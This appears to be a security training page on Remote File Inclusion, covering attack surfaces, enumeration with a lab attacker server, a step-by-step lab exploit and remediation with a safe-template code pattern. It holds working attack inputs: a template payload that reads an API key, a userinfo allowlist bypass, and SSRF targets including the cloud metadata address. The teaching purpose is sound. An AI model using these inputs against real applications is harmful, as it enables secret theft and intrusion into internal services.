Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter III - Web / 09. RFI

RFI

Remote File Inclusion happens when attacker-controlled input decides which remote resource the server fetches and includes.

The primitive is remote server-side inclusion. The application intends to load trusted content, but the request controls the remote URL. The backend reaches out, retrieves attacker-controlled content, and then treats that content as part of the application response or template flow.

RFI is closely related to LFI, but the source is different.

LFI: read/include a local file from the same server
RFI: fetch/include a remote file from another location

In older PHP applications, RFI often meant a remote PHP file was included and executed when dangerous settings such as allow_url_include were enabled. In modern applications, the same class appears through remote template loading, plugin loading, markdown/import preview features, server-side document renderers, URL-based configuration fetchers, and unsafe content proxying.

Common RFI surfaces include:

  • Theme loaders
  • Template preview features
  • Remote plugin loaders
  • CMS import features
  • URL-based document renderers
  • Markdown or HTML preview from URL
  • Report generators that fetch a remote layout
  • PDF generators that fetch remote HTML
  • Configuration loaders that accept a URL
  • Server-side content proxy endpoints

Common abuse scenarios include:

  • Rendering attacker-controlled template content
  • Reading secrets exposed to the template context
  • Injecting server-side template expressions through a remote file
  • Turning RFI into SSRF against internal services
  • Loading malicious plugins in systems that execute fetched code
  • Chaining with XSS when remote HTML is reflected into the browser
  • Chaining with credential theft when internal metadata or service URLs are reachable

When enumerating RFI opportunities, identify:

  • Parameters named url, uri, remote, template_url, theme_url, feed, import, callback, next, source, or resource
  • Whether the server makes an outbound request
  • Whether the response includes content from the supplied URL
  • Whether remote content is rendered as plain text, HTML, template code, or executable code
  • Whether the application follows redirects
  • Whether internal hosts are reachable
  • Whether URL validation checks the real parsed hostname
  • Whether userinfo, redirects, DNS aliases, or alternate hostnames bypass checks

Types

Basic RFI fetches and includes an arbitrary remote URL.

url=http://attacker/notice.txt

Template RFI fetches a remote template and evaluates it server-side.

url=http://attacker/template.txt

Blacklist bypass happens when the application blocks one host or string but leaves equivalent ways to reach the same destination.

127.0.0.1 blocked
localhost allowed

Naive allowlist bypass happens when validation checks the wrong part of the URL.

http://trusted.example@127.0.0.1:8001/notice.txt

In that URL, trusted.example is userinfo. The actual hostname is 127.0.0.1.

SSRF-style RFI happens when the server fetches internal URLs.

http://127.0.0.1:8001/
http://localhost:8001/
http://169.254.169.254/

The impact depends on what the application does with the fetched content.


Enumeration

Start with an attacker-controlled HTTP server in a lab:

mkdir -p /tmp/ootw-rfi-attacker
cat > /tmp/ootw-rfi-attacker/notice.txt <<'EOF'
Remote notice for {{ username }}.
Arithmetic proof: {{ 7 * 7 }}
Context proof: {{ profile.api_key }}
EOF
python3 -m http.server 8001 --directory /tmp/ootw-rfi-attacker

Then submit that URL to the application:

http://127.0.0.1:8001/notice.txt

Compare:

  • Does the attacker HTTP server receive a request?
  • Does the application response include remote content?
  • Does {{ 7 * 7 }} render as 49?
  • Does the response leak context values?
  • Does changing the remote file change the application output?
  • Does the application fetch internal URLs?
  • Does a redirect reach a blocked host?

Interesting findings include:

  • The backend makes a request to the attacker server.
  • Remote file content appears in the application response.
  • Remote template expressions evaluate server-side.
  • Internal hosts are reachable from the backend.
  • URL validation can be bypassed with localhost, userinfo, redirects, or hostname confusion.

Exploit

  1. Host a harmless remote file.
Remote notice for {{ username }}.
Arithmetic proof: {{ 7 * 7 }}
Context proof: {{ profile.api_key }}
  1. Submit the remote URL to the vulnerable endpoint.
POST /rfi/basic
url=http://127.0.0.1:8001/notice.txt
  1. Confirm server-side fetch.
The attacker HTTP server logs a request.
  1. Confirm inclusion.
The application response contains the remote file content.
  1. Confirm template evaluation if the application renders the fetched body as a template.
Arithmetic proof: 49
  1. Prove scoped impact.
Context proof: ootw-rfi-demo-key
  1. Stop once the primitive and impact are proven.

The exploit is not the URL itself. The exploit is proving that the request controls remote content loaded by the server.


Remediation

Patch RFI by removing remote source control:

  • Do not fetch templates, plugins, or executable content from user-controlled URLs.
  • Use server-owned templates and server-side IDs.
  • Treat fetched remote content as untrusted data, not code or templates.
  • If remote fetches are required, use strict allowlists based on parsed hostname, scheme, and port.
  • Reject userinfo in URLs.
  • Reject private, loopback, link-local, and internal address ranges.
  • Disable redirects or re-validate the final redirect target.
  • Use short timeouts and maximum response sizes.
  • Restrict outbound network access at the network layer.
  • Log rejected URLs and outbound fetch attempts.

Safe pattern:

SAFE_TEMPLATES = {
    "notice": "Remote notices are disabled. Hello {{ username }}.",
}

template_id = request.form.get("template_id", "notice")
template = SAFE_TEMPLATES.get(template_id)

if template is None:
    abort(404)

render_template_string(template, **context)

The user can choose an approved template ID. The user cannot choose an arbitrary remote URL.

String checks are not a security boundary. The final parsed URL, redirect target, resolved IP address, and how the fetched content is used decide whether the feature is safe.